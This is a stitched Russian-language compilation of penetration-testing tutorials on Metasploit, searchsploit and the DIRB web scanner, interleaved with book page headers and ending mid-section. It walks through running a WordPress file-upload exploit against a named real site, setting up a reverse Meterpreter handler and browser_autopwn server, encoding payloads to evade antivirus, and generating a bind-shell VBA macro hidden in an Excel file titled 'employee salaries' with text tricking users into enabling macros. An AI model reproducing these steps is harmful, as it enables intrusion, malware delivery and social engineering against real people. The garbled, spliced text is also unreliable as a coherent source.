У Metasploit есть несколько версий, в том числе Metasploit Pro (полностью коммерческая версия) и Community Edition (бесплатная). Вот последняя как раз и встроена в Kali . Мы сосредоточимся на Community Edition , поскольку мы думаем, что большинство из вас не будет покупать Pro версию стоимостью в $ 30 000.

Способы использования Metasploit

Metasploit можно использовать несколькими способами. Наиболее распространенный способ, который и мы все время используем - это интерактивная консоль Metasploit . Она активируется путем ввода msfconsole в командной строке Kali . Существует также несколько других методов.

Msfcli

Начнем с того, что вы можете использовать Metasploit из командной строки Kali или в режиме msfcli . На первый взгляд кажется, что когда мы находимся в консоли, мы используем командную строку. В действительности же мы используем интерактивную консоль со специальными ключевыми словами и командами. Когда же мы работаем из msfcli , то фактически используем командную строку Linux.

Чтобы получить информацию обо всех доступных командах msfcli , наберите в консоли:

Kali > msfcli -h

Теперь, чтобы выполнить эксплоит из msfcli наберите команду:

Kali > msfcli payload = rhost = lhost = E

Где «E» - сокращение от «Execute» (выполнить)

В нашей статье по созданию payload (полезных нагрузок) для защиты от антивирусных программ мы используем команду msfencode и msfpayload в режиме командной строки (msfcli ).

Недостатком использования msfcli является то, что он не так хорошо поддерживается как msfconsole , и вы ограничены единственным шелом, что делает некоторые из более сложных эксплойтов невозможными.

Armitage

Если вы хотите использовать Metasploit с графическим интерфейсом (GUI), то здесь есть несколько вариантов. Например, Рафаэль Мадж (Raphael Mudge) разработал Armitage (это имя главного героя в весьма оригинальной научно-фантастической книге о кибер-хакинге «Neuromancer». Ее должен прочитать каждый хакер, которому нравится жанр SciFi ).

Чтобы запустить Armitage в Kali , просто введите:

Kali > armitage

Если Armitage не может соединиться, то попробуйте другие команды:

Kali > service start postgresql kali > service start metasploit kali > service stop metasploit

Armitage - это графический интерфейс поверх самого Metasploit , построенный на архитектуре клиент-сервер. Вы запускаете Metasploit в качестве сервера, и Armitage становится его клиентом, предоставляя вам полный доступ к функциям Metasploit с помощью полнофункционального, хотя и не интуитивно понятного GUI . Если вам действительно нужен GUI , чтобы чувствовать себя комфортно, то, пожалуйста, используйте Armitage . Но овладение командной строкой - практически жизненная необходимость для любого уважающего себя хакера.

Модули

У Metasploit есть шесть разных модулей:

  1. payloads
  2. exploits
  3. post
  4. nops
  5. auxiliary
  6. encoders

Payloads - это код, который мы оставляем на взломанной системе. Некоторые называют их слушателями (listener), руткитами (rootkit) и т.д. В Metasploit они называются payload (полезными нагрузками). Payloads включают утилиты командной строки, Meterpreter и т.д. Payload ‘ы бывают разных типов, например, staged , inline , NoNX (обходит функцию «No Execute» (без выполнения) в некоторых современных процессорах), PassiveX (обходит правила брандмауэра об исходящем трафике), IPv6 и другие.

Exploits - это шелл-код, который использует уязвимость или недостатки в системе. Это очень специфичный код. Например, есть эксплоиты для операционной системы, пакетов обновлений (SP), для конкретных служб, портов и даже для приложений. Их также можно классифицировать по типам операционных систем, поэтому эксплойт Windows не работает в Linux и наоборот.

Post - это модули, которые мы можем использовать для пост эксплуатационных атак системы (т.е. после получения доступа к системе).

Nops - сокращение от No OPerationS. В процессорах семейства x86 обычно указывается как шестнадцатеричный 0x90. Это просто означает «ничего не делать». Это может иметь решающее значение для атак переполнения буфера (buffer overflow). Мы можем посмотреть модули nops с помощью команды show .

Msf > show nops

Auxiliary - включает в себя множество модулей (695), которые не вписываются ни в одну из других категорий. К ним относятся такие вещи, как фьюзеры (fuzzer), сканеры (scanner), модули для DoS-атак (на отказ в обслуживании) и многое другое. За более подробной информацией отсылаю вас к нашей статье об Auxiliary модулях.

Encoders - это модули, которые позволяют по-разному кодировать нашу полезную нагрузку (payloads), чтобы обойти антивирусное ПО и другие системы безопасности. Мы можем увидеть эти кодировщики, набрав:

Msf > show encoders

Как видите, в Metasploit встроено довольно много кодировщиков. Один из наших фаворитов - shikata_ga_nai . Он позволяет использовать payload XOR , что помогает обманывать антивирусные программы и другие системы безопасности.

Поиск

В Metasploit 4 появилась возможность поиска. Раньше приходилось использовать msfcli и команду grep , чтобы найти модули. Теперь Rapid7 добавил поиск по ключевым словам и некоторые другие особенности. Добавление поиска было очень своевременным, поскольку Metasploit значительно разросся, а обычного поиска по запросам grep было уже недостаточно, чтобы найти что-нибудь среди более чем 1400 эксплойтов.

Поиск по ключевым словам позволяет выполнять как простой поиск, так и делать более детализированные поисковые запросы. Например, мы можем определить тип модуля, который нужно найти, используя ключевое слово type:

Msf > search type:exploit

Если мы это сделаем, то Metasploit вернет нам 1295 эксплойтов. Не очень полезно.

Но если мы знаем, что хотим атаковать машину Sun Microsystems под управлением Solaris (Sun UNIX ), то мы можем уточнить наш поиск и искать только эксплоиты для Solaris . В этом случае нам нужно использовать ключевое слово platform .

Msf > search type:exploit platform:solaris

Теперь мы сузили наш поиск до тех немногих эксплойтов, которые будут работать против Solaris .

Для дальнейшего уточнения поиска предположим, что мы хотим атаковать Solaris RPC (sunrpc ) и, соответственно, нам нужно видеть только те эксплоиты, которые атакуют эту конкретную службу. Мы добавляем ключевое слово «sunrpc » в наш поисковый запрос, как показано ниже:

Msf > search type:exploit platform:solaris sunrpc

Как видите, это сузило результаты поисковой выдачи до пяти модулей эксплойтов!

У Metasploit есть много возможностей, которые мы продолжим рассматривать в следующих статьях по Metasploit . Попробуйте пока некоторые из хаков на Metasploit ‘е, описанные в других постах на сайте. Возвращайтесь обязательно! Вы изучите Metasploit и научитесь взламывать, как профессионал!

Отказ от ответственности : Эта статья написана только для образовательных целей. Автор или издатель не публиковали эту статью для вредоносных целей. Если читатели хотели бы воспользоваться информацией для личной выгоды, то автор и издатель не несут ответственность за любой причиненный вред или ущерб.

Глава 42. Как запустить Metasploit Framework в Kali Linux 1.1
Metasploit Exploitation Framework - это инструмент для тестирования на проникновение. Он содержит большую базу эксплойтов , позволяет использовать их прямо из Metasploit. Существует две версии Metasploit, в этом уроке я рассматриваю бесплатную версию.
searchsploit - это инструмент для поиска эксплойтов. Содержит базу, по моим наблюдениям, более обширную, чем Metasploit. Но не содержит функции использования эксплойтов.
На всякий случай, разберёмся с терминологией. Эксплойт - это готовая программа,
которая, используя конкретную уязвимость, автоматизирует процесс проникновения
или повышения прав или другое несанкционированное действие, которое является
следствием уязвимости.
Обе программы не сложны, но нужно знать, что и как там делать. Обе эти программы включены в Kali Linux «из коробки». Поэтому, возможно, вас также заинтересуют статьи:

Как запустить Metasploit Framework в Kali Linux

Как установить Kali Linux: подробная инструкция для установки на компьютер и в виртуальную машину
Я буду рассматривать работу с этими программами в Kali Linux , но на самом деле, эти утилиты можно установить на любой Linux.
searchsploit
Это программа только для поиска известных эксплойтов. Чтобы вывести справку по ней , наберите в командной строке:
1| searchsploit -h


257

Всё просто как 5 копеек:
Ключ -c для выполнения чувствительного к регистру поиска.
Ключ -v для подробного вывода, линии с описанием могут переполнять их колонки.
На мой взгляд, обе опции не несут ничего интересного. Для поиска просто набираете searchsploit и ключевые слова (можно несколько), разделённые пробелом:
1| searchsploit phpmyadmin

По материалам сайта WebWare.biz
258
Тестирование на проникновение с помощью Kali Linux 2.0
1| searchsploit wordpress
Думаю, идея понятна. Можете искать по конкретным приложениям (и их версиям), операционным системам, плагинам и т. д.
Давайте посмотрим внимательно на вывод: есть файлы следующих типов: .c, .pl, .txt,
.sh, .php, .rb, .py, .zip, .java, .asm, .htm и др.
Файлы с расширением .txt можно только читать - открывайте его любым блокнотом и читай об уязвимости. Содержимое этих файлов, обычно, следующее: описание

По материалам сайта WebWare.biz
259
Тестирование на проникновение с помощью Kali Linux 2.0
уязвимости, пример использования, источник, информация о подверженных уязвимости версиях и т. д.
Файлы с расширением .rb написаны на языке Ruby, запускать их нужно так: ruby + пробел + расположение файла.
Пример:
1| ruby /usr/share/exploitdb/platforms/php/webapps/28126.rb

По материалам сайта WebWare.biz
260
Тестирование на проникновение с помощью Kali Linux 2.0
Некоторые файлы.rb выдернуты из Metasploit. Если при обычном запуске программа жалуется на отсутствие чего-то, а в коде программы встречается строка:
1| require "msf/core"
То самый простой способ запуска - найти этот же плагин в Metasploit и запустить его оттуда
Файлы .c нужно компилировать.
Файлы .php запускать из командной строки. При чём если Ruby может выводить диалоговые окна для ввода данных, то в PHP нужно сразу задавать необходимые аргументы в командной строке через пробелы после имени файла (ну или прописывать в коде скрипта, если это предусмотрено).
Например:
1| php /usr/share/exploitdb/platforms/php/webapps/35413.php webware.biz Alexey 50
Файлы .pl написаны на языке Perl, перед именем файла, для запуска, нужно ставить perl. Аргументы передаются в командной строке (или вписываются в исходный код) как и с PHP.
Думаю, с поиском всё предельно просто. С конкретным применением - зависит от конкретного эксплойта. Переходим к Metasploit.
Metasploit
Программа Metasploit расположена в меню в двух местах. Самый быстрый способ - это найти её среди 10 самых популярных приложений. Там она называется Metasploit
Framework. Запуск каждый раз занимает какое-то время , поэтому просто ждём:

По материалам сайта WebWare.biz
261
Тестирование на проникновение с помощью Kali Linux 2.0
Если программа пишет вам что-то про базу данных и про медленный поиск, то воспользуйтесь этой инструкцией. А также можете вручную пересобрать кэш:
1| msf > db_rebuild_cache
Для поиска наберите search + пробел + ключевые слова. Например:
1| msf > search wordpress

По материалам сайта WebWare.biz
262
Тестирование на проникновение с помощью Kali Linux 2.0
Расширьте окно терминала, как это сделал я, иначе ничего непонятно.
В выводе должно быть всё понятно: первый столбец - расположение эксплойта, второй - дата, третий - ранг (насколько хороший среднестатистический результат), четвёртый - краткое описание.
Думаю, хакеры не любят WordPress за его автообновления, т. к. все известные уязвимости протухают в первый же день.
Я выбрал, например, этот:
1| exploit/unix/webapp/wp_downloadmanager_upload 2014-12-03 excellent WordPress
Download Manager (download-manager) Unauthenticated File Upload
Нужно скопировать его расположение - exploit/unix/webapp/wp_downloadmanager_upload
И теперь набираем команду use и после пробела расположение эксплойта:
1| msf > use exploit/unix/webapp/wp_downloadmanager_upload
Обратите внимание, что строка приветствия сменилась на:
Теперь набираем:
1| show options
(работает для всех эксплойтов - отображает варианты настойки).

По материалам сайта WebWare.biz
263
Тестирование на проникновение с помощью Kali Linux 2.0
Как минимум, нам нужно задать удалённый хост. Все настройки делаются через команду set
Например:
1| set RHOST webware.biz
В данном эксплойте можно больше ничего не менять. Но обратите внимание на
TARGETURI . В отдельных эксплоитах, например, для phpMyAdmin, этот параметр изначально задан как phpmyadmin и если целевой скрипт находится в другом каталоге, то эксплойт просто не найдёт адрес.
Для начала выполнения эксплойта наберите:
1| exploit
Думаю, общие принципы работы понятны.

По материалам сайта WebWare.biz
264
Тестирование на проникновение с помощью Kali Linux 2.0
Порекомендую ещё одну команду, чтобы было понятно, в какую сторону нужно копать , для чего искать эксплойты, какие порты открыты и для каких служб и т. д. Это команда
nmap . Применять так:
1| msf > nmap 10.0.2.2 1| msf > nmap webware.biz

По материалам сайта WebWare.biz
265
Тестирование на проникновение с помощью Kali Linux 2.0
Ну и, конечно, для того чтобы знать, какие эксплойты использовать, нужно знать работающие на целевой машине программы и их версии. Определённую помощь в этом может оказать вам статья "Обзор разделов инструментов Kali Linux 1.0.9a. Часть 2.
Инструменты для сбора информации".
Заключительные слова
Скажу честно, базы эксплойтов меня разочаровали: я слежу за обновлениями самых популярных веб-приложений (phpMyAdmin, WordPress, Drupal и т. д.) и за последние месяцы в списках изменений мелькало достаточно много закрытых уязвимостей. Под большинство из них я не нашёл эксплойтов. Возможно, это касается только эксплойтов для веб-приложений. Вполне возможно, что для операционных систем и программ всё намного интереснее. Отсутствие в паблике эксплойтов на свежие версии популярных веб-приложений я связываю с тем, что: а) не так уж и просто потенциальную уязвимость раскрутить, хотя бы, до работающего концепта; б) самые интересные эксплойты собраны в закрытых базах, возможно, доступных за плату или только для определённого круга лиц.
Глава 43. DIRB: поиск скрытых каталогов и файлов на веб-сайтах
Статья написана по материалам Энциклопедии Kali.Tools
Никогда не бывает лишним просканировать веб-сайт на наличие скрытых каталогов и файлов (скрытых - имеются ввиду каталоги и файлы, на которые не ведут ссылки, и о которых знает только веб-мастер). Как минимум, можно узнать что-то новое о сайте, а бывает просто выпадает супер-приз - архив сайта или базы данных, бэкап чувствительных файлов и т.д.
DIRB - это сканер веб-контента. Он ищет существующие (возможно, скрытые) веб- объекты. В основе его работы лежит поиск по словарю, он формирует запросы к веб- серверу и анализирует ответ.
DIRB поставляется с набором настроенных на атаку словарей для простого использования, но вы можете использовать и ваш собственный список слов. Также иногда DIRB можно использовать как классический CGI сканер, но помните, что в первую очередь это сканер содержимого , а не сканер уязвимостей.
Главная цель DIRB - это помочь профессионалам в аудите веб-приложений. Особенно в тестах ориентированных на безопасность. Она покрывает некоторые дыры, не охваченные классическими сканерами веб-уязвимостей. DIRB ищет специфические веб- объекты, которые другие сканеры CGI не ищут. Она не ищет уязвимости и не ищет веб- содержимое, которое может быть уязвимым.
Может быть, эта программа станет последней попыткой для невезучих аналитиков по безопасности…
Использование DIRB
1|
dirb [опции]

По материалам сайта WebWare.biz
266
Тестирование на проникновение с помощью Kali Linux 2.0
Примечания
: Основной URL для сканирования. (Используйте -resume для возобновления сессии)
: Список словарей. (словарь1,словарь2,словарь3…)
Горячие клавиши DIRB
"n" -> Перейти к следующей директории.
"q" -> Остановить сканирование. (Сохронить состояние для возобновления)
"r" -> Remaining scan stats.
Опции DIRB
-a: Задайте ваш пользовательский USER_AGENT.
-c: Установите куки для HTTP запроса.
-f: Забавный тюнинг при выявлении NOT_FOUND (404).
-H: Задайте пользовательский заголовок HTTP запроса.
-i: Использовать поиск без учёта регистра.
-l: Печатать заголовок "Location" когда найден.
-N: Игнорировать ответы с этим HTTP кодом.
-o: Сохранить вывод на диск.
-p: Использовать прокси. (Порт по умолчанию 1080)
-P
: Аутентификация на прокси.
-r: Не искать рекурсивно.
-R: Интерактивная рекурсия. (Спрашивать для каждой директории)
-S: Молчаливый режим. Не показывать тестируемые слова. (Для простых терминалов)
-t: Не принуждать к конечному слешу "/" в URL.
-u: HTTP аутентификация.
-v: Показывать также страницы NOT_FOUND.
-w: Не показывать сообщений WARNING.
-X / -x: Применить эти расширения к каждому слову.
-z: Добавить миллисекунды,для задержки, чтобы не стать причиной экстенсивного флуда.
Примеры DIRB
dirb http://url/directory/ (Простой тест) dirb http://url/ -X .html (Тестировать файлы с расширением ".html") dirb http://url/ /usr/share/dirb/wordlists/vulns/apache.txt (Тестировать списком слов apache.txt) dirb https://secure_url/ (Простой тест с SSL)

По материалам сайта WebWare.biz
267
Тестирование на проникновение с помощью Kali Linux 2.0
Дерево словарей DIRB
1| root@WebWare:# tree /usr/share/wordlists/dirb*
2|
/usr/share/wordlists/dirb
3|
├── big.txt
4|
├── catala.txt
5|
├── common.txt
6|
├── euskera.txt
7|
├── extensions_common.txt
8|
├── indexes.txt
9|
├── mutations_common.txt
10|
├── others
11|
│ ├── best1050.txt
12|
│ ├── best110.txt
13|
│ ├── best15.txt
14|
│ └── names.txt
15|
├── small.txt
16|
├── spanish.txt
17|
├── stress
18|
│ ├── alphanum_case_extra.txt
19|
│ ├── alphanum_case.txt
20|
│ ├── char.txt
21|
│ ├── doble_uri_hex.txt
22|
│ ├── test_ext.txt
23|
│ ├── unicode.txt
24|
│ └── uri_hex.txt
25|
└── vulns
26|
├── apache.txt
27|
├── axis.txt
28|
├── cgis.txt
29|
├── coldfusion.txt
30|
├── domino.txt
31|
├── fatwire_pagenames.txt
32|
├── fatwire.txt
33|
├── frontpage.txt
34|
├── hpsmh.txt

По материалам сайта WebWare.biz
268
Тестирование на проникновение с помощью Kali Linux 2.0
35|
├── hyperion.txt
36|
├── iis.txt
37|
├── iplanet.txt
38|
├── jboss.txt
39|
├── jersey.txt
40|
├── jrun.txt
41|
├── netware.txt
42|
├── oracle.txt
43|
├── ror.txt
44|
├── sap.txt
45|
├── sharepoint.txt
46|
├── sunas.txt
47|
├── tests.txt
48|
├── tomcat.txt
49|
├── vignette.txt
50|
├── weblogic.txt
51|
└── websphere.txt
52|
/usr/share/wordlists/dirbuster
53|
├── apache-user-enum-1.0.txt
54|
├── apache-user-enum-2.0.txt
55|
├── directories.jbrofuzz
56|
├── directory-list-1.0.txt
57|
├── directory-list-2.3-medium.txt
58|
├── directory-list-2.3-small.txt
59|
├── directory-list-lowercase-2.3-medium.txt
60|
└── directory-list-lowercase-2.3-small.txt
61|
62|
3 directories, 54 files
Описание словарей DIRB
Название файла
Полный путь до файла
Количеств
о записей
в файле
Описание
содержимог
о
big.txt
/usr/share/wordlists/dirb/big.txt
20469 catala.txt
/usr/share/wordlists/dirb/catala.txt
161 common.txt
/usr/share/wordlists/dirb/common.txt
4614

По материалам сайта WebWare.biz
269
Тестирование на проникновение с помощью Kali Linux 2.0
Название файла
Полный путь до файла
Количеств
о записей
в файле
Описание
содержимог
о
euskera.txt
/usr/share/wordlists/dirb/euskera.txt
197 extensions_common.t xt
/usr/share/wordlists/dirb/extensions_common.txt
29
Расширения файлов indexes.txt
/usr/share/wordlists/dirb/indexes.txt
10 mutations_common.t xt
/usr/share/wordlists/dirb/mutations_common.txt
49 best1050.txt
/usr/share/wordlists/dirb/others/best1050.txt
1049
Лучшая выборка из
1050 пунктов best110.txt
/usr/share/wordlists/dirb/others/best110.txt
110
Лучшая выборка из
110 пунктов best15.txt
/usr/share/wordlists/dirb/others/best15.txt
15
Лучшая выборка из
15 пунктов names.txt
/usr/share/wordlists/dirb/others/names.txt
8607 small.txt
/usr/share/wordlists/dirb/small.txt
959 spanish.txt
/usr/share/wordlists/dirb/spanish.txt
449
Испанские слова в каталогах alphanum_case_extra.
txt
/usr/share/wordlists/dirb/stress/alphanum_case_ex tra.txt
95 alphanum_case.txt /usr/share/wordlists/dirb/stress/alphanum_case.txt
62 char.txt
/usr/share/wordlists/dirb/stress/char.txt
26 doble_uri_hex.txt
/usr/share/wordlists/dirb/stress/doble_uri_hex.txt
256 test_ext.txt
/usr/share/wordlists/dirb/stress/test_ext.txt
17576 unicode.txt
/usr/share/wordlists/dirb/stress/unicode.txt
65536 uri_hex.txt
/usr/share/wordlists/dirb/stress/uri_hex.txt
256 apache.txt
/usr/share/wordlists/dirb/vulns/apache.txt
30
Apache axis.txt
/usr/share/wordlists/dirb/vulns/axis.txt
17 cgis.txt
/usr/share/wordlists/dirb/vulns/cgis.txt
3494 coldfusion.txt
/usr/share/wordlists/dirb/vulns/coldfusion.txt
21 domino.txt
/usr/share/wordlists/dirb/vulns/domino.txt
291 fatwire_pagenames.tx t
/usr/share/wordlists/dirb/vulns/fatwire_pagenames
.txt
2711 fatwire.txt
/usr/share/wordlists/dirb/vulns/fatwire.txt
101

По материалам сайта WebWare.biz
270
Тестирование на проникновение с помощью Kali Linux 2.0
Название файла
Полный путь до файла
Количеств
о записей
в файле
Описание
содержимог
о
frontpage.txt
/usr/share/wordlists/dirb/vulns/frontpage.txt
43 hpsmh.txt
/usr/share/wordlists/dirb/vulns/hpsmh.txt
238 hyperion.txt
/usr/share/wordlists/dirb/vulns/hyperion.txt
579 iis.txt
/usr/share/wordlists/dirb/vulns/iis.txt
59
IIS iplanet.txt
/usr/share/wordlists/dirb/vulns/iplanet.txt
36 jboss.txt
/usr/share/wordlists/dirb/vulns/jboss.txt
19 jersey.txt
/usr/share/wordlists/dirb/vulns/jersey.txt
129 jrun.txt
/usr/share/wordlists/dirb/vulns/jrun.txt
13 netware.txt
/usr/share/wordlists/dirb/vulns/netware.txt
60 oracle.txt
/usr/share/wordlists/dirb/vulns/oracle.txt
1075
Oracle ror.txt
/usr/share/wordlists/dirb/vulns/ror.txt
121 sap.txt
/usr/share/wordlists/dirb/vulns/sap.txt
1111 sharepoint.txt
/usr/share/wordlists/dirb/vulns/sharepoint.txt
1708 sunas.txt
/usr/share/wordlists/dirb/vulns/sunas.txt
52 tests.txt
/usr/share/wordlists/dirb/vulns/tests.txt
34 tomcat.txt
/usr/share/wordlists/dirb/vulns/tomcat.txt
87
Tomcat vignette.txt
/usr/share/wordlists/dirb/vulns/vignette.txt
74 weblogic.txt
/usr/share/wordlists/dirb/vulns/weblogic.txt
361 websphere.txt
/usr/share/wordlists/dirb/vulns/websphere.txt
560 apache-user-enum-
1.0.txt

1.0.txt
8930
Перечислени е пользовател ей
Apache
1.0 apache-user-enum-
2.0.txt
/usr/share/wordlists/dirbuster/apache-user-enum-
2.0.txt
10355
Перечислени е пользовател ей
Apache
2.0 directories.jbrofuzz /usr/share/wordlists/dirbuster/directories.jbrofuzz
58688 directory-list-1.0.txt /usr/share/wordlists/dirbuster/directory-list-1.0.txt 141708
Список директорий directory-list-2.3- medium.txt
/usr/share/wordlists/dirbuster/directory-list-2.3- medium.txt
220560
Список директорий среднего размера

По материалам сайта WebWare.biz
271
Тестирование на проникновение с помощью Kali Linux 2.0
Название файла
Полный путь до файла
Количеств
о записей
в файле
Описание
содержимог
о
directory-list-2.3- small.txt
/usr/share/wordlists/dirbuster/directory-list-2.3- small.txt
87664
Список директорий малого размера directory-list- lowercase-2.3- medium.txt
/usr/share/wordlists/dirbuster/directory-list- lowercase-2.3-medium.txt
207643
Список директорий среднего размера, имена приведены к нижнему регистру directory-list- lowercase-2.3- small.txt
/usr/share/wordlists/dirbuster/directory-list- lowercase-2.3-small.txt
81643
Список директорий малого размера , имена приведены к нижнему регистру

Появившись на свет 7 лет назад, MSF впоследствии из простого фрэймворка для написания рабочих сплоитов превратился сначала в некий «швейцарский нож», а теперь – в целую мастерскую по проведению пентестов, включая в себя все необходимое – от сбора инфы до продвинутых способов постэкслуатации. Не зря ведь MSF входит в пятерку самых юзаемых тулз. И что радует – MSF продолжает расти и развиваться! А в каком направлении – узнаешь из этой статьи.

Изначально в статье предполагалось описать возможности автоматизации действий в MSF, но, проанализировав знания народа о фрэймворке, было решено поведать о более-менее продвинутых встроенных возможностях его самого, а об их автоматизации будет сказано по ходу. Это чтобы люди не изобретали велосипед:).

Кстати, о знаниях. Неудивительно, что их не так много, так как всеобъемлющих статей/книг о Metasploit’е даже на английском нету. Так что основные нычки с инфой – иностранные блоги, да личные исследования. Плюс радует, что Руби – вещь простая, и по чужим примерам можно что-то свое дельное сделать.
Но к делу! Все описанное касается последней версии – MSF 3.4.2.

ГУИ возвращается!

Для тех, кто не любит консоль или лень разбираться с командами MSF, существует гуишная оболочка на основе GTK. Точнее существовала, так как с версии 3.3 на нее забили. Если не ошибаюсь, то же самое случилось и с msfweb. То есть пользоваться еще можно, но и так со стабильностью были проблемы, а тут... эх!

Но во время подготовки статьи случилось хорошее – новая гуишная оболочка. Она изменилась и снаружи, и внутри. Если точнее, то она написана на Java, потому кроссплатформенна, и к тому же взаимодействует с MSF через XMLRPC интерфейс, то есть можно использовать ее удаленно.

Запуск гуи делается в две стадии: стартуем msfrpcd, коннектимся к нему через msfgui. Под никсами запустив msfgui можно просто кликнуть «start new msfprcd»

Версия для Win:

  1. Запускаем Cygwin консоль
  2. cd /msf3
  3. msfrpcd -S -U username -P password где –S – отключение SSL, и придуманные логин/пасс
  4. запускаем msfgui.jar, который храниться в %MSF%\msf3\data\gui либо двойным кликом, либо в консоли (не в cygwin’e): java –jar msfgui.jar

В msfgui вводим логин/пасс, порт, IP и коннектимся.

Кое-чего, даже по сравнению со старой гуи, не хватает. Например, доступа к консоли или просмотр логов. Но работать можно, особенно если требуется по быстрому пробежаться по сплойтам, модулям, полазить по чужому компу и т.д.

Сбор информации

Тебе должно быть известно, что MSF работает с БД для складирования информации, обмена ей между своими модулями. И это направление активно развивается.

Для начала, единственная полностью поддерживаемая БД – это PostgreSQL. От SQLite отказались из-за вопросов производительности/масштабируемости, с MySQL тоже что-то не гладко пошло. Вообще, установка Postgres’а не должна вызвать проблем. Драйвер для взаимодействия вшит в MSF.

Под Win: ставим, задаем пасс для юзера – postgres и порт.

Через pgAdmin: коннектимся к локальному серваку, создаем еще одного пользователя «Роли входа» (msf_user), создаем БД в «Базы» (msf_db). Там же можно настроить сам SQL-сервак, сделав его «побезопасней», да и полазить по таблицам MSF.

msf> db_driver postgresql
msf> db_connect msf_user:[email protected]:5432/msf_db

Теперь команда db_create не работает напрямую, можно только коннектиться к существующей БД, и, если есть соответствующие права (как у юзера postgres), база автоматически создастся. Иначе – создавать базу вручную в Postgres’е.

Но это не так страшно, ведь можно пользоваться workspace’ами. БД одна, таблицы те же, но модули обмениваются/добавляют инфу только в текущем спэйсе. Попробуешь – поймешь, db_workspace тебе в помощь.

Немного разберемся с командами:

  • db_service – выводится инфа о портах/сервисах, просканированных либо модулями, либо встроенным nmap’ом, либо импортированная из сторонних программ. На основе этого работает db_autopwn с параметром –p (по портам);
  • db_notes – «заметки», типа версии ОС, полученные из Nmap, или какие-то «подробности» полученые WMap’ом. Жаль, но db_autopwn, похоже, не смотрит db_notes для выбора сплоита.
  • db_vulns – уязвимости, найденные либо модулями MSF(WMap), либо импортом из Nessus’а(OpenVAS), Nexpose. На основе этого работает db_autopwn с параметром –x (по уязвимостям).

Для примера просканируем хост nmap’ом и результаты попадут в нашу БД:

msf> db_nmap –PN –sV 192.168.0.101

Итог от модуля порт-сканера из MSF будет аналогичным, и данные тоже попадут в БД. Вот только для определения сервисов требуется пользоваться уже другими модулями (все aux-модули с «version» на конце в разделе scanner, например, scanner/imap/imap_verison).

msf> use scanner/portscan/tcp
msf> set RHOSTS 192.168.0.101
msf> set PORTS 1-1000
msf> run -j

Чтобы автоматизировать последние действия, да и вообще любые действия в MSF, можно воспользоваться так называемыми resource-файлами. По сути это обычные текстовые файлики с последовательным перечислением команд для MSF. Например, создадим ресурсик для быстрого запуска «сервера» для реверсового meterpreter’а. Для этого пихнем в файл(metrevhandl.rc) следующие команды:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 4444
set LHOST 192.168.0.102
exploit –j
back

Запускаем наш скрипт с помощью «resource»:

msf> resource metrevhandl.rc

Как видишь – очень удобно. Но это еще не все. Самое сладкое в том, что в этих скриптах можно писать код на Руби, что и позволяет нам, например, установить взаимоотношения между отдельными модулями MSF.

Кстати, home/.msf3/msfconsole.rc – скрипт, который автоматически запускается при старте msfconsole. В него очень удобно запихнуть коннект в БД, например.

Входим...

WMAP. WMAP – это попытка заточить MSF под веб-приложения и как-то автоматизировать все это дело. Проект WMAP пока находится на ранней стадии и работает не особо хорошо, особенно по сравнению со своими конкурентами. Вряд ли он будет развиваться, во всяком случае, в своем нынешнем виде, а причина в том, что Rapid7 начала очень плотно финансировать опенсорсный w3af фрэймворк, который и заточен под дела веба, так что можно ожидать слияние внутренностей или функционала MSF и w3af. Но все же небольшой пример (требуется подключение к БД):

1. Подгружаем плагин wmap:

msf> load db_wmap

2. Добавляем жертву:

msf> wmap_targets -a http://www.example.com/

3. Просмотр и запуск модулей против нашей жертвы:

msf> wmap_run -t
msf> wmap_run –e

Итоги складируются в БД и доступны через db_vulns, db_notes.

Для некоторых модулей требуется настройка параметров. Это можно сделать с помощью команды setg. Также в WMAP есть паук (wmap_crawler) и возможность взаимодействия с прокси (wmap_proxy).

Вдобавок любителям помучить базы данных всевозможными инжектами советую посмотреть модуль MSF – scanner/http/sqlmap. Это порт одноименной тулзы – SQLmap. Вещь, по ходу, мощная:). Инфу о тулзе можно почерпнуть на сайте создателей – .

db_autopwn

Автопавнилка в MSF обзавелась парой полезных параметров:

  • -R – указывает минимальный ранк эксплойта, который будет применяться;
  • -m – задают регекспу для выбора сплотов.

Например:

msf> db_autopwn -t -p -m windows -R excellent

выведет список только лучших сплоитов под стандартные Win-сервисы.

Кстати, с версии 3.3.1 с Nexpose можно работать прямо из MFS и сразу автопавнить на основе выявленных уязвимостей.

1. Подгружаем плагин и подключаемся к Nexpose:

msf> load nexpose
msf> nexpose_connect msf_user:[email protected]

2. Запускаем только лучшие сплоиты по найденным уязвимостям:

msf> nexpose_scan -R excellent -x 192.168.0.101

Browser_autopwn

Если предыдущая павнилка была заточена по стандартные сплоиты, то эта – под клиентские, нацеленные на браузеры жертв, что понятно из названия.
По сути, этот модуль поднимает HTTP-сервер и на нем же поднимает все сплоиты под браузеры. Когда жертва заходит на наш сервак, модуль определяет версию браузера и ОС, после чего запускает соответствующий сплоит. Пока что основной фичей модуля является точное определение версии браузера/ОС. Используются как серверные, так и клиентские возможности(JavaScript) по детекту. То есть обмануть модуль, подставив другой User-Agent, точно не удастся.

Из имеющихся сплоитов хорошо валятся олдскульные версии браузеров, но самое приятное в том, что просто добавлять свои сплоиты, а это уже сила. Бесплатный сплоитпак получается.

В будущих версиях обещают добавить возможности по обфускации сплоитов (чтобы антивирями не палилось) и возможности по выбору нагрузок.

Например, создадим сервак с бэкконнектом для шеллов 192.168.0.102:

msf> use server/browser_autopwn
msf> set LHOST 192.168.0.102
msf> set URI index.php
msf> exploit -j

VBA

В разделе EasyHack я уже писал о создании «троянов» с помощью MSF, но засылать exe-файлы – это очень палевно. Юзеры нынче стали пугливые и не открывают все, что попало, а там еще и предупреждения от винды. Куда менее палевно применять какие-нибудь офисовские файлы:

msfpayload windows/shell_bind_tcp LPORT=5555 V > macros.vba

Далее создаем, например, экселевский документик со страшными именем «Зарплата сотрудников». Потом открываем полученный VBA, текст макроса (MACRO CODE) пихаем в макрос документа (Сервис –> Макрос –> Редактор VB), а в конец документа – нашу «нагрузку» (PAYLOAD DATA). В начало документа можно добавить какие-нибудь расчеты для красоты. Так как макросы по дефолту отключены (с версии OfficeXP, насколько мне известно), то строчкой вида «Внимание! Работа с базой возможна только при включенных макросах. Чтобы их включить, зайдите в «Сервис –> Параметры –> Безопасность –> Защита от макросов –> Низкая» и перезапустите документ», можно заставить пользователя подключить макросы. В итоге – шелл на 5555 порту.

Смысловая нагрузка

На самом деле выбор нагрузки(payload) к сплоитам – дело важное. Но их в MSF много, так что я немного пробегусь по ним (в основном по Win*), чтобы появилось общее понимание. Во-первых, есть общее разделение по ОСям, а так же ПО и подгружаемым интерпретаторам (ruby, perl).

Общее разделение по описанию:

